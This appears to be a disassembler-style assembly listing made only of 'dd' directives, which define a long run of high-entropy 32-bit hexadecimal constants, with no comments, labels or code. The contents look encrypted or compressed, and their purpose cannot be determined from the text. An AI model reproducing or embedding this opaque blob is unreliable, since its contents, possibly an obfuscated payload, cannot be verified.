dd 9D346E55h, 0BA2E038Fh, 448F070Ah, 0CA230204h, 17C8C6BFh
dd 0AA357FC8h, 8FCB4F0Eh, 9CF4F2Ah, 0DF67D01Dh, 113C1969h
dd 254B2D03h, 0D944FD6Eh, 90374889h, 2E8D0413h, 29F3E7BEh
dd 57054732h, 1106261Ah, 54C6529Dh, 4B32AD0Eh, 4B8DBA97h
dd 99BAA404h, 0FD122E88h, 851FD0EBh, 137C74C7h, 0D4E40D2Ah
dd 14E24997h, 0F92A3825h, 40A81438h, 0CE811AB5h, 0F610A741h
dd 50C449FEh, 0F70B2723h, 55085161h, 0A5B8215h, 0C41287Dh
dd 2F8AC8A5h, 0B60BA24h, 0DF3BFFCFh, 0EF364B09h, 5FEB1844h
dd 4124FB3Eh, 5EF7A2FEh, 0EFF46EC3h, 0E9EA08D4h, 0EFB09268h
dd 71564E12h, 0EE1B7583h, 0AD30D9DFh, 8B7898D6h, 136D91C7h
dd 45978DEFh, 966099Ch, 0A79197CAh, 62083908h, 5F59B9F8h
dd 4E390143h, 0CCB0BF3h, 8874B001h, 770B5D45h, 0CBF31FA5h
dd 2A508848h, 5C78752Dh, 0F6A838F8h, 4F0276F9h, 0FFEA826Eh
dd 2576455Dh, 75841451h, 0FBE8810Eh, 74F7A492h, 3F67EBEEh
dd 0B50A136Eh, 34FF4A3Ah, 0CF3AE53h, 0BF167513h, 221A2808h
dd 413F80CAh, 9379B7BBh, 50EB1292h, 0BEE550B1h, 0D31AD5B2h
dd 0AA543E12h, 0B681919h, 27676BC2h, 0A06108F4h, 615FFA07h
dd 346A2058h, 0E74CE866h, 233F7CF4h, 0B4A10918h, 22759FABh
dd 443E75CBh, 56A4A94Bh, 494F253Bh, 0C2E61434h, 0EBC6A0C2h
dd 561C841Dh, 53C847ECh, 0CECD1811h, 58F30195h, 254445A3h
dd 45B0064Ah, 55B951Ch, 0A39321B8h, 3450CA31h, 368B734Ah
dd 4465C42Bh, 5D273994h
dd 20326518h, 2D49E38Eh, 0B3208493h, 0CD188832h, 0AE17FF40h
dd 1CE16374h, 12BA8144h, 0D27AF6C7h, 0DC8509EAh, 45CC51F7h
dd 0BD8C840Ch, 0A84D781h, 0C5E81BDh, 0E0942904h, 68605652h
dd 0A7ED563Ah, 25D725AFh, 0EE650861h, 658D04D0h, 0A297BFCCh
dd 7265562Eh, 965DA0FDh, 222D8AE2h, 4B3E56EAh, 7C9F1B7Ah
dd 0B8D32FEBh, 6612973Dh, 0EFA83853h, 77181C58h, 888F239h
dd 8D365864h, 652909FFh, 0C2FF7678h, 504F99DDh, 0E124EA3Eh
dd 0BED6F4BCh, 7188E961h, 6257923h, 0D5B3744h, 5DA26CA9h
dd 2AA1E55Dh, 15D981B4h, 7C1CAA3Ah, 76F1CAA5h, 0E172AF6Ch
dd 18D761B5h, 0C8F9A545h, 851D3914h, 0F13B1393h, 7F234F8h
dd 62C6664Bh, 0E4014E38h, 45BFE114h, 0D3592D18h, 8AA14D8Ah
dd 7E85984Ah, 64C0392Ah, 65332F7Ch, 0BF08AEC9h, 0C8AB34C4h
dd 53B75636h, 22986881h, 9D75302Dh, 38057255h, 2B015E3Dh
dd 0EB63A193h, 3EFC4584h, 0DC1650D9h, 0F933F8Fh, 0EBBFB4EBh
dd 1CCCA29h, 40F980C0h, 0A156773h, 0F065020h, 0D324C2A5h
dd 0D01B64E0h, 1FE1F98Ch, 7AEBE2E9h, 9CD27F10h, 0C20893D5h
dd 3257566Ah, 0E6437514h, 7708F02Ch, 7526329Eh, 0E1FA2E12h
dd 4EF22E0Dh, 3B068B81h, 9F2FF46h, 0DB1CAA5Dh, 0CD89400Fh
dd 746058F6h, 0EFF3411h, 3442B830h, 88BB230Fh, 11A0C3D3h
dd 93DF1888h, 24048979h, 0AC127DEFh, 0C65D3762h, 0A6E14EFAh
dd 725627F5h, 95D19DA8h, 7B380204h, 0CFE41AEh, 9D23D0F7h
dd 1473080Fh, 6F05FD0Bh, 29A80D39h, 843BE97Ch, 0ADF6ABBAh
dd 17860837h, 0AF5035F7h, 30383E61h, 0A6BC3614h, 5B82554Bh
dd 6A9E4057h, 12586510h, 0C6F6C404h, 17E70EB3h, 791011B8h
dd 1122081h, 24D75609h, 12D1A07Ah, 4CBB70Fh, 0FFBED1E6h
dd 54BF5A4Bh, 0BDD642FAh, 1F13AE51h, 867F37BFh, 8451114h
dd 75D6DC40h, 3AC7E20Bh, 0C5BA07EBh, 0CC800300h, 5ECF2301h
dd 3B260DB8h, 8D3720CDh, 4D20CDDAh, 5D5F6EC0h, 5510C7F6h
dd 78A15A5Bh, 12564592h, 4223B97Bh, 0DF98D18Ah, 1104022h
dd 0F58C638Ah, 0A2208D24h, 0A6BACB8Bh, 0BECA2188h, 71E31D97h
dd 3B12A358h, 750FD1CEh, 7BF8A60Dh, 9D0A081Bh, 5B048623h
dd 639ABC5Ah, 610C745Fh, 675514Fh, 841D2B0Bh, 505EC20Ah
dd 8B838320h, 31104B24h, 20200469h, 244DBDAAh, 1EB3621Fh
dd 0FD16E610h, 0CA2B1740h, 90FFE483h, 3D2FCFFh, 75B01485h
dd 0FEE8461Ch, 111E7D03h, 33FC048Dh, 3D0E9638h, 2362C01Ch
dd 0F0F7F27Ch, 16FB9D90h, 0D525F5A5h, 4FDA520h, 0A24D5E4Fh
dd 0B36330B0h, 69591F2Eh, 580AA455h, 4F371299h, 43B74397h
dd 1C784E27h, 0BBE5394Eh, 17014094h, 4EF42B7h, 0E7058575h
dd 75FBF994h, 4A94E90Dh, 0BA645BF8h, 7FC8FA59h, 0CF01615Fh
dd 4C995EC3h, 669DC8B4h, 691490EDh, 9758A5Eh, 9289D0C8h
dd 0F22B0511h, 9CE8B5Ah, 5E0285BCh, 7FD44321h, 599639C1h
dd 0E14FF3Dh, 0DFC90F57h, 4DFC39A7h, 16E614B9h, 2C0CFC2Ch
dd 0F882C121h, 74C13B40h, 50FFA0A1h, 0A2829DC8h, 136355DAh
dd 0A2844E58h, 3695D908h, 0BEC13854h, 1348930h, 134A0624h
dd 0A85EF575h, 32CF954Bh, 0E65F02ABh, 6A4A9DABh, 410D2682h
dd 5519F911h, 429AB25h, 0B0294CCEh, 0BC5B5A5Bh, 0A9992478h
dd 129A5527h, 0D7FCCF09h, 0D8520C45h, 0A4C45EFEh, 2BE6072Eh
dd 0F8D6C5DAh, 23C80A55h, 23B1DBCEh, 3EBD0BE8h, 18B9206Eh
dd 74142ECBh, 0ACB15B4Eh, 0DC75EE11h, 6AF49883h, 0F7B35B02h
dd 0C15908A8h, 3B0AE679h, 0C20F7CDFh, 29DFBBFh, 0D010041Fh
dd 67EB69DBh, 875DBD89h, 0E9574BE6h, 7FE079E2h, 189270E5h
dd 208BC9FBh, 0A7F48EAh, 4F30D94Ch, 71A53756h, 0C9006F9h
dd 300237F4h, 2510B40Ch, 8E77E381h, 55EBC9E1h, 0F02795F1h
dd 0FB24C386h, 0F9F7C001h, 0E0754029h, 5B33F415h, 3A7D4EF6h
dd 0F85F5292h, 2429DAEFh, 0F587DC12h, 28D55A5Bh, 0BD12BE3Ch
dd 0B7881A54h, 771539FEh, 35892208h, 25956475h, 78F04301h
dd 4F2BE680h, 0F1984BB0h, 803F0C52h, 0D83B3CEBh, 2B3F247Fh
dd 36FB2554h, 0C1191821h, 0A415613h, 4B4E033Bh, 6708866Bh
dd 9434CD24h, 6F9820B2h, 82F54FF9h, 0BB287C1Fh, 0C622D53h
dd 278EC75Ah, 14778B13h, 37D2735Dh, 362CA210h, 3C253FF7h
dd 7FA86580h, 0F3032A22h, 0D6EA9524h, 9E0CC14Ah, 10487F38h
dd 5CD5C94h, 0C91BD9F7h, 30415E89h, 0D7CAF10Bh, 40FF4540h
dd 2ED2ED90h, 0F5F83649h, 0C72080Eh, 20240A6Fh, 0FE057522h
dd 8B6C9131h, 55C2F868h, 36D99C75h, 2CEB903Bh, 7AD81021h
dd 0D1BF254Ch, 2ABF2E26h, 0D54AF90Dh, 20A2441Ah, 3C5AEF14h
dd 0C9243F81h, 3DB12D4Bh, 0FD4E0A12h, 38B7DE47h, 7B4AD7h
dd 0C6017E54h, 85301F06h, 53C7DEDBh, 6B0FEB1Fh, 56EA3233h
dd 250EFBD5h, 8241A8BEh, 10885A30h, 835E0DFh, 6FE96B75h
dd 503108DEh, 39DC127Ch, 9F0DEA35h, 13BDBEC3h, 0E22E8DFh
dd 1FFEF5EBh, 18313E0Ch, 4423EFFh, 0BD571213h, 79279E43h
dd 0FA5E4B41h, 0A2E5671h, 509D5705h, 597F5D3Eh, 68E83790h
dd 0B513B84Fh, 0E1160C3h, 0A5FC8B41h, 3978662Eh, 0A3367349h
dd 507C2FE0h, 6F058718h, 0D8EC15BAh, 0EBFB5F0Bh, 592E1FEDh
dd 0EDC70BDCh, 0BC0D99E4h, 1C42B809h, 236E7D5Eh, 661E5899h
dd 0BF064282h, 9075F0FFh, 0CF254C4Fh, 0F182C189h, 24CBCF23h
dd 12E62E78h, 0D95AD098h, 258B71E8h, 0CFA0B556h, 2F54F0B7h
dd 1A621374h, 4B92887h, 269CFD3Ch, 0EB4EE9BFh, 748C4421h
dd 0B7D37412h, 0E47588EAh, 0C666F8Eh, 4E4BEB26h, 33C0145h
dd 0AE658A4Ch, 0B088315h, 4376C88Bh, 0E2FC84B0h, 3F56AF7h
dd 95CECB20h, 3B15663h, 0C1DAD0C9h, 0B1FEB00h, 120C8DD9h
dd 8140A089h, 7BEAB5C7h, 0DFEBB360h, 0B31139Ah, 8489ACFh
dd 2F98C2Eh, 7D8A1A95h, 64B394Ch, 1421E5E6h, 49A70E90h
dd 0A142975Eh, 0A5EAA9E8h, 0A3BC142Bh, 945B888h, 160421B1h
dd 9D5E33F4h, 1C68CA01h, 2262794Fh, 18A35010h, 0D035F8C3h
dd 0C8DA120Fh, 6D9158D0h, 0D9DE264Dh, 0F674B259h, 1C8D3870h
dd 3CE96090h, 18A7739Fh, 0D90A6A89h, 16B13B08h, 7F064C0Fh
dd 0A303F0C2h, 0BAA2B1CDh, 565B5D04h, 0F84CA620h, 0B60F85D0h
dd 4C244CABh, 51978424h, 1C750911h, 0CF949EF8h, 8C020E12h
dd 0D0824504h, 3E236F03h, 12F9B3F2h, 0BF80175h, 1098E296h
dd 42C9BFECh, 0ABD52385h, 0D24FEDF7h, 51F56781h, 60680926h
dd 52BDBDD2h, 2AA350BAh, 68503974h, 50781152h, 52A3083Ch
dd 0EE7DF8F0h, 0A10FCFF4h, 16396092h, 52B7D0FFh, 0A1F2C547h
dd 51121F4h, 0BB124453h, 416D0D9h, 4E155122h, 13B4A37Fh
dd 0FCECF8EBh, 0AF0F08C2h, 0FE03A1FCh, 258957E0h, 34DD7716h
dd 9476977Dh, 7D587789h, 1A5B3D6Eh, 80050046h, 2E77121Dh
dd 97CAEF50h, 164C7513h, 1A9BD20Dh, 91D4D15Dh, 0A3F8C312h
dd 21228DFFh, 865413Fh, 0E156F92Eh, 0ED2E2475h, 5B1B88CBh
dd 8BBA19DBh, 47D5D7CAh, 0A177A550h, 0ECEB5644h, 58F5B152h
dd 94035056h, 0D1FBB75Eh, 2FF04410h, 0C4A340F6h, 95900DB2h
dd 0D8BE3BAAh, 0BC470A4Fh, 177C1405h, 34CA245Fh, 911519B0h
dd 83590F0Dh, 0FE2DDC24h, 0FABCE5C8h, 85B85A73h, 4BE8E7AFh
dd 40F12AAh, 0FB1D3B03h, 841507CCh, 0E10ADB9Dh, 0E6C844F6h
dd 0F911D37Ch, 0DB7F175Ah
dd 5F08278Eh, 0FC901364h, 2AB21887h, 0EE7A2BD6h, 7EFC2B54h
dd 31C86F4Bh, 0F0C1F58Dh, 0D6D5ED2Fh, 4E124AAh, 0EE784D33h
dd 980CA722h, 28F83B93h, 52A4027Dh, 5F772A50h, 0F26FAC53h
dd 184AA108h, 54F6D7EBh, 750541FDh, 0DAA22E0Ah, 0C478C5D2h
dd 0AB4E252Fh, 7D40EF04h, 1143CBACh, 6019241h, 0BF75AA30h
dd 422337Ch, 1A23509Dh, 8F61BDEh, 2943E3D5h, 49451548h
dd 0E4A5CD51h, 83E81ADh, 0E050D04Bh, 0DEB275Fh, 1227C04Dh
dd 2FC9FC40h, 0C065D954h, 3B3219C0h, 0E8727ECAh, 58735ACEh
dd 5E1033FDh, 0DE0A892Fh, 0BD7CE597h, 2D373986h, 0A4103A36h
dd 0ECBF17BFh, 0FF5462ADh, 7E149630h, 8462803h, 0E977EE17h
dd 0E2DC184Ah, 984E0EEFh, 0BCCF56D6h, 3CFC1330h, 0F603CE0Bh
dd 34D68257h, 0C1C6E23Fh, 0FDFAF1A6h, 0F3D77107h, 0EAEB0470h
dd 7EE1D1E9h, 2E1CC68Dh, 0B236DF50h, 617FF25Eh, 3A83E66Ch
dd 89CE0BE9h, 37081D3Eh, 0EAE519E7h, 0DC56C9C6h, 5EADFF40h
dd 0C2E999FEh, 6C84D5D8h, 9C2BF33h, 20D27856h, 8939404Eh
dd 4531813h, 25760806h, 0C57E5751h, 7D8DF381h, 0FCC7A5F0h
dd 7743E6A4h, 7706AA80h, 940A3BA8h, 52931022h, 4F98AB42h
dd 80BE6D0Fh, 5B210A3Ch, 3CC81AFAh, 752C407Fh, 5FC8C6B6h
dd 28F0AC39h, 5864D2B7h, 100A4CC1h, 13A84389h, 0EE98F003h
dd 0ED5F43BFh, 0A294D213h, 0FFD1811Fh, 3FE7330h, 0BE4ED3EBh
dd 29F310C9h, 32661064h, 0F92AFF3Dh, 0E266B738h, 805C5EB7h
dd 0E412B40Ah, 0FF23BF5Ch, 0A4EE2D10h, 0DCC04F89h, 71955AC0h
dd 0F9E8120Ch, 908B414Fh, 0E020DC06h, 81D0D440h, 7F802E4h
dd 2A5EFDECh, 672087F4h, 54090B74h, 20FD1C0Ah, 290D5C05h
dd 0E7EB4700h, 8A5E046Ah, 26B1F58h, 870F0BF8h, 825F5677h
dd 59438524h, 0FB803460h, 0C7C3118h, 587F390Ah, 0DE5CB107h
dd 653A471Ch, 1E6C797Eh, 724F8405h, 2B815DA8h, 0C7481E74h
dd 44770EA2h, 79D46CC1h, 0D52F4535h, 0D837E16Ah, 2558CE48h
dd 67D6A7EBh, 681220B6h, 6A29F9Eh, 0A5057CF0h, 4BAE7E29h
dd 613DD2Dh, 318A2266h, 402D750Ah, 52F4302Ch, 140F4380h
dd 1802898Eh, 127E4508h, 7B1C6319h, 8FF2650Ch, 6A137262h
dd 4F7EA706h, 8500B85h, 0B20988A6h, 0B5D0564Ch, 596D588Ch
dd 94019D19h, 8B0101B5h, 44558CC2h, 3239FDF9h, 7E3F8415h
dd 0B450957h, 0EA4D7CC8h, 0EB5A0442h, 648FBB0Eh, 41C1FD5Eh
dd 0D5C02FD6h, 82107319h, 80DEE857h, 0C306FEBh, 213BA33h
dd 2A5508A9h, 0B27B7FDh, 2245672Ch, 365BDC5Bh, 0DC1B06BFh
dd 0ACEF0D75h, 284A01D4h, 107571F3h, 0D311C81Ch, 47E88B68h
dd 2350B912h, 990A21D4h, 1601122Dh, 834529EFh, 2AED345Eh
dd 0C9AAD761h, 0A3012FE8h, 0FE4F8D57h, 0A3488C22h, 44248C56h
dd 2131EEC8h, 120B964h, 0EB086A0Ch, 0A4E0B265h, 830552CDh
dd 0F67F630h, 0AF91F28Ch, 8F316CA8h, 0AEB13E9h, 0E7C298Ch
dd 9397F21h, 4F58126Ah, 311D0A34h, 54C1EB8Bh, 2A748D94h
dd 0FFDA9BB5h, 6BDB7EBBh, 0C45DC014h, 0FD834A4Ah, 58071548h
dd 1E08472Fh, 80664F0Ah, 95A5D03Ah, 0D2634695h, 11DF5824h
dd 53971A48h, 0F633099Ch, 641F1D7Dh, 8088FB1Ch, 0BE6E7B6h
dd 1451065Fh, 0C37F537Ah, 51B5BE38h, 5E10AA19h, 3844EA4Ah
dd 0B04F5FD0h, 2B95F936h, 7E190C84h, 0D9A4A138h, 58186A10h
dd 0A83948h, 7D801576h, 3D7C05BBh, 9FF6FE03h, 0F4267C64h
dd 0EB9F2148h, 128813F4h, 0A586350Fh, 0C288A155h, 0CBD0E655h
dd 0E47DF237h, 0C6A44B5Dh, 0E598F12Fh, 0E456DB61h, 953BC933h
dd 7D150FB5h, 3D8F7E3h, 0E0144865h, 40109586h, 2B81DC18h
dd 0A43D1CE0h, 307E2DC2h, 0DF041AD7h, 4AD7E4A9h, 0C9EED0FAh
dd 6500D4C8h, 0B8DB3360h, 12AD11B6h, 0D473C233h, 98E4275Ch
dd 0B03D5E1Dh, 0C456F22Fh, 2701D020h, 0EA2AE48Dh, 0C302E463h
dd 0C87A790Eh, 0C610C292h, 0EBFBCA31h, 0E172A5B5h, 96BDF640h
dd 320AAB2Bh, 15110493h, 2922B22Bh, 8768170Fh, 0B084D61h
dd 1C5FE360h, 0CB067189h, 9A830259h, 922E0A41h, 1197A2ECh
dd 550CA144h, 91219BEh, 22DC12B2h, 0AE045637h, 2E88E448h
dd 220D1157h, 487C4492h, 0C538D68Ah, 0DEF4E545h, 54BEC802h
dd 0E6E44BC8h, 660EB890h, 0B257C985h, 8CC230Ch, 12E689E5h
dd 48E824E7h, 22EA91E9h, 0EDEC44EBh, 80FBEE88h, 7BB53FEFh
dd 0BFD092F0h, 243EE00h, 0D204EB2Dh, 0CC8A00Dh, 75D298C2h
dd 4EB3781Eh, 0E5E6E11Ah, 2383F815h, 81946E1h, 26010320h
dd 846D3004h, 0E866FD4Bh, 0E97A2F25h, 0C7E880B2h, 0F8F38303h
dd 0C75CF8F4h, 2BFCF70Fh, 2DFBB840h, 0BA028468h, 97A146EBh
dd 3B811574h, 1DE10657h, 2E612207h, 1A437C68h, 2367210Fh
dd 681D0C3Bh, 0D78D2374h, 6400E6B4h, 19BC05D1h, 0D60A6990h
dd 0F11D6C68h, 0E1813006h, 94B70F24h, 22C0CF12h, 2D6918E9h
dd 550F10C0h, 6608EE22h, 49859D7h, 804E0C8Dh, 6BFA555Eh
dd 1F4DC93Bh, 0B44FF67Dh, 0BCEDE401h, 0C11246FDh, 4CEA8FEh
dd 0C6BF0FF2h, 0E1FE3AC4h, 50DD59BCh, 7D8166D1h, 3FFFFA09h
dd 0E4216072h, 1C19AC46h, 5359EE4Dh, 1570CF6h, 745C3390h
dd 147D1967h, 7C3C036Dh, 91087F15h, 23EA4919h, 7A15F183h
dd 5FD1F7B1h, 0FA758641h, 3FADC27Eh, 0DEEAFB0Dh, 81C08AEh
dd 438946A1h, 1CCA8080h, 97F17559h, 0F717FC80h, 0E64881DEh
dd 0D7E8504h, 4EAE1D61h, 0AF33696h, 0A8DA01F3h, 1C9A8022h
dd 0FA50587Eh, 759C143Eh, 1C12E4F0h, 0ED2568A5h, 33A45038h
dd 62CD0809h, 16B9220Dh, 8BFBE48Ah, 53FFCAD2h, 444C228h
dd 7F90A50h, 75018880h, 3685B5B6h, 2E62878Ah, 35F98060h
dd 4014B8Dh, 0C13B307Ch, 482A0F72h, 488406E6h, 42EAF1EBh
dd 0FF66404Dh, 2A808EC3h, 88EC2CC3h, 8B05490h, 6480C005h
dd 0CAAE0418h, 0C6164FBh, 177C3009h, 0D95BF499h, 82DC0436h
dd 5638030h, 5B857257h, 0CB67EED3h, 32D8C776h, 46095974h
dd 41E16977h, 3CF20303h, 0F2A0A84h, 2E18ED06h, 50AFF36Fh
dd 8B162F5Ah, 95C20435h, 0EB0583B8h, 841A7034h, 812708E1h
dd 10D60908h, 8791571Ah, 708B3306h, 41CEFF70h, 38880BEFh
dd 5A0BFFCh, 1FE8313h, 9A9A38F9h, 7DF7BED8h, 18538FA8h
dd 95F93B50h, 0B10F774h, 1B49BE97h, 4580D61Dh, 34061C25h
dd 3AC2AF36h, 0A5A97515h, 8C64C0D4h, 8260B52h, 0D001377h
dd 0C0A12839h, 0C4D6602Bh, 41F90DD3h, 8D1E7D02h, 32764014h
dd 5095983Ah, 0C0228325h, 490CC206h, 78BFF775h, 4B205085h
dd 0FB659D0Eh, 0E84D612h, 0DE7783E8h, 1878A9EFh, 89080A13h
dd 2F7F7BAAh, 29A36AE9h, 5B48AF20h, 0FBA64E56h, 16714CC8h
dd 3905830Ah, 0F4902750h, 1468FC5Bh, 2FFD5127h, 730BBFE7h
dd 0CE39735Ah, 8A0D54A8h, 0D32B084Ch, 0CBCF3E9Dh, 256D2744h
dd 0A768E009h, 8005751Fh, 0DEB7FE1h, 16D67C81h, 0DFD95FAEh
dd 0ADC9DC11h, 0A8818E8h, 76256638h, 3C5034Ah, 0EBB13CECh
dd 0B4EF6D0Ah, 24254CF3h, 667E6CEEh, 8B0A4B28h, 0EC1604B4h
dd 0CBE4419Ch, 0DA824626h, 92E4BAF9h, 23F8330Eh, 81CA42C2h
dd 667E83E7h, 4624503Dh, 1D6B9201h, 0F5B8830Fh, 32BAAC21h
dd 18AD167Fh, 0BF7BFDFAh, 3DA28723h, 0A9773F17h, 303A2E60h
dd 28AEC3Ah, 528BB77Fh, 565AFB58h, 392CE318h, 750F9046h
dd 0B7067B0Bh, 0E84F7A68h
dd 4AAA20D2h, 101F1EF7h, 39160C53h, 0EA113A43h, 0BF5DB803h
dd 4FBBA9D1h, 950F445h, 98456AB2h, 0C1A816Fh, 128B1305h
dd 0BEC00320h, 497E9281h, 12C2EA44h, 0E0135D08h, 0AF4D64F7h
dd 189B64A8h, 1CC6124Eh, 31097606h, 0FC18C1AFh, 5198D783h
dd 315EFF50h, 0B2068638h, 1A4B9D19h, 1D02563Ah, 662CF46Dh
dd 0C875E806h, 12FC6D1Ah, 0C1894B0h, 9C7F0A59h, 20B9281h
dd 0C80B92C0h, 0B8257ED5h, 80E72841h, 3E5CB7C5h, 8A3312Dh
dd 7F1E110Dh, 390748E2h, 0E8B16A6h, 68E32B9Ah, 1921E50h
dd 0B98B0ACEh, 74E1DC7Ch, 0EC2B4468h, 4BAE0B41h, 4EEA3086h
dd 0F8C9EC5Fh, 0BAB738ACh, 3477F2F0h, 0B83E8B0Fh, 3DE07FFDh
dd 750A1AD8h, 0DE42CB35h, 8C2CB9D4h, 0E9AA513Bh, 1D1490E2h
dd 579AE176h, 418A46E6h, 0EC8BD31h, 1052D27Bh, 106ECAB1h
dd 0E2EAF4DBh, 0DE35A7D2h, 0A745338Bh, 5BE81B73h, 0C70B2E7Dh
dd 100E1AF6h, 24E3B83h, 6AE40C20h, 18D91E06h, 0DFF736EBh
dd 0D2B5FFE8h, 0EBD7A28Eh, 62C7B3F4h, 26836408h, 87E44C0h
dd 0C0EE79BDh, 0D828BB53h, 0ECFFEE9Ah, 394860EBh, 63740B16h
dd 0BB45E87Dh, 28D96B88h, 55F5AF55h, 84102E17h, 0CEFF7120h
dd 56412281h, 0C3831057h, 0A404B554h, 7CBC203h, 279802F7h
dd 819AE98Dh, 0C2A63D71h, 85DC3A14h, 0F47D1A7Eh, 648402A5h
dd 5E61ECF6h, 9FD95695h, 0E47FC8B7h, 92E2BFC3h, 6E91BFD6h
dd 1E31F18Bh, 0B230525h, 1674FA4Eh, 0CE8BFC91h, 0C9121AB8h
dd 0C2E8F0B3h, 56696990h, 4E27404Ch, 6C7120Ch, 0D5BC490h
dd 2F407719h, 5E55F3F4h, 4E9BE864h, 0B8097CADh, 62D27688h
dd 50DD50D8h, 687E95BAh, 74F8D28h, 515F0688h, 7404459h
dd 0A36AE2B8h, 40221C3Bh, 0BC16751h, 0DD56A7F0h, 95C70741h
dd 0A53AC12h, 0ACDD5402h, 85DD44ADh, 51020468h, 1C68D6B0h
dd 8DAFA045h, 0C968106Ch, 51426A9Dh, 0C71E1D68h, 0D59130E8h
dd 0F4B8BA05h, 6C0C7565h, 1BF3EA30h, 37B06850h, 22AD84CCh
dd 6EA790A7h, 2039CF45h, 19FE08C4h, 3B801068h, 3F64F645h
dd 20875524h, 0FFF5C127h, 54EBA754h, 7F72324h, 0E2D2FAC8h
dd 0E8376B06h, 18B8F0CCh, 1A9448AEh, 906CF167h, 5184A4F0h
dd 0C7D03E1Ah, 4257570Ch, 0F1D5FC9h, 7C775208h, 0F295CC42h
dd 18242BD0h, 82115A56h, 27520A2Ah, 8D6D888h, 0B868D051h
dd 233AEBE8h, 8D2E2ACCh, 0D3C23F5Ch, 0CA5183CCh, 8A1BE47Ah
dd 0BE3DF868h, 1ED164C9h, 0B868DEA0h, 6882E18Dh, 0FF061B10h
dd 20721025h, 71A40CC5h, 3C4CE9A3h, 0C750A0Bh, 707F189Ah
dd 768398FBh, 0CF7EE105h, 895316F0h, 10C43921h, 0EE90346Ah
dd 0B54D18E0h, 0B742F22h, 72959F50h, 6A589559h, 6317036Bh
dd 0F5BFF48Eh, 2A0EBFC1h, 831F09DAh, 0F00009FBh, 0C3800576h
dd 0A42D857h, 19038830h, 77F68541h, 8021FBDAh, 0E4178A49h
dd 0E411FE01h, 0B47F207h, 0F272F93Bh, 76F95B2Bh, 3C755341h
dd 0D77FFC3Ah, 7819FB0Eh, 62775A86h, 72410D09h, 20C3B4C0h
dd 870224CBh, 250D5A3Fh, 22C241D9h, 0D15720C0h, 74DB079Bh
dd 0D83B5337h, 30EBCEA8h, 5526129Dh, 58C31B7Ah, 95504606h
dd 0E3C1F122h, 71A1FE4h, 34437947h, 40B15F59h, 0CDC3003h
dd 0C8B70FF2h, 2B12C306h, 0D9AB5BC1h, 2A1ED575h, 0A34BCFB7h
dd 3BD14E74h, 0DD3A560Bh, 0B1347A2Fh, 2BEC1982h, 76241D6h
dd 3B595D51h, 54C24AA4h, 1C211D90h, 1C21F426h, 3D19FF7Ah
dd 0F4FB20F1h, 0A537FF88h, 0A5C9057Eh, 0C789BF59h, 420A8103h
dd 0C78B822Eh, 48644D0Bh, 0A93D80D0h, 5C96866Fh, 74276E9Ah
dd 17DA4225h, 31131A48h, 6EB4930h, 31745EDFh, 79834A30h
dd 80F19A08h, 15097446h, 0A20471FFh, 0EFF4C38Bh, 0FC62A52Ch
dd 457F297Ch, 80571617h, 7D10BE02h, 0E0E8549Ah, 0B2A5F325h
dd 0C12477E1h, 0CE32BAF4h, 0BEE004E4h, 0B8A554CDh, 51C619DDh
dd 32DAFB28h, 0C00B7A81h, 648A2BC9h, 64CA1124h, 4CD68C52h
dd 34DBD092h, 73018016h, 21579514h, 6F58026Ch, 679217Eh
dd 347BB366h, 0E2FA846Ah, 0B10C6FBFh, 3E1AE15Fh, 5684C8F3h
dd 201C0836h, 4743229h, 145DFE0Dh, 0E77D5B42h, 39F6E08Eh
dd 0C0102135h, 9085F13Fh, 565784BFh, 9ED1068h, 8ED948ADh
dd 0C461579Eh, 0D4103389h, 23347572h, 213E3F58h, 0F80110C0h
dd 58208C44h, 3A01EB2Dh, 1E751201h, 1202E8DAh, 5B36DD31h
dd 0C657E995h, 5B0AFE91h, 2ABB8E85h, 0EBE40984h, 0E44B740Ch
dd 4A5FB9F6h, 0EFAEEB86h, 905DAC2Bh, 0E8E03F51h, 845C571Ch
dd 24B653D3h, 0B234F8D6h, 4B84F58Bh, 0A2B0AED4h, 33F1B795h
dd 0FB4976CBh, 8EF6789Ch, 74DE73C0h, 0A5535760h, 29F64B56h
dd 12DFD9ADh, 2C81ED1Ch, 502FCCC6h, 9AAC9F0Dh, 0F99F1857h
dd 0F2245B8h, 4EA1CBDh, 69DB2D95h, 39BE92B5h, 1498043Ch
dd 6662F795h, 17DF02EBh, 73DBADF5h, 0A4BA0FC4h, 0C3B709E8h
dd 5DBE9D74h, 9D0FA875h, 8B2B1A61h, 7CF8D145h, 0F051C478h
dd 748008CAh, 4908A234h, 25711090h, 0D132B3Ch, 0D388AE7Ch
dd 23EB2641h, 5EFC478Ch, 21AED311h, 6BC15817h, 8696F7E8h
dd 3CD8E95Ch, 0D70C4D66h, 112BA08h, 8F488B28h, 6A14A1E2h
dd 0FE04D526h, 0CD3ABEC7h, 4A705788h, 144D8C01h, 0BC17C96Ah
dd 5A18F964h, 1D217443h, 5A187D08h, 9034E8Dh, 230D272Eh
dd 7FFB2D18h, 0F678662Dh, 7166997Dh, 0FA8444D4h, 0F75B778Bh
dd 6DD4C8F5h, 4BD6BD82h, 0A42E89FAh, 52BE55CAh, 0C322E469h
dd 2556787h, 236448Dh, 0EBC25965h, 9E3CF50Bh, 558184BDh
dd 97C734C8h, 0C0BFB5ECh, 733C8D4Dh, 1F342409h, 180E12B7h
dd 0FE4E0ABEh, 464D0CD2h, 8B2FEBD8h, 64384DC7h, 74467E34h
dd 3E5D1019h, 75122792h, 7AC6CF31h, 913E1726h, 0C4CCF147h
dd 50BD4D8Dh, 6CA381F1h, 9483479Ch, 889B301h, 16A276D1h
dd 0D0B8C309h, 165107Eh, 0CCFB28C2h, 6414432Ch, 0B833E410h
dd 1DBB7F82h, 0CB330E2h, 90EC782Dh, 0AC90B80Dh, 0E060C812h
dd 0BC8028C2h, 124C5224h, 70C4F088h, 0D0361C29h, 1563885h
dd 0D8BAh, 0
dd 587501A5h, 7003096h, 0E612C77h, 751BAEEh, 0C4199909h
dd 0F48FD06Dh, 3500706Ah, 0A3E963A5h, 9E6495h, 0EDB8832h
dd 79DCB8A4h, 0D53D1E7Eh, 0D2D980E0h, 0B64C2B97h, 7CBD0009h
dd 2D077EB1h, 9101E7B8h, 6490BF1Dh, 0F2D8B710h, 6AB00020h
dd 0F3B97148h, 0BE0041DEh, 0DAD47D84h, 0FE4EB1Ah, 0B5516DDDh
dd 85C7F420h, 560083D3h, 0C0136C98h, 646BA8h, 0FD62F97Ah
dd 8A65C9ECh, 15C4F00h, 66CD914h, 3DE263h, 0DF5FA0Fh, 20C88D08h
dd 5E3B6E00h, 0E44C6910h, 0D5600141h, 0A2677172h, 3C03E4D1h
dd 4D44700h, 0D85FD4Bh, 0B56B03D2h, 0A8FAA50Ah, 986C35A8h
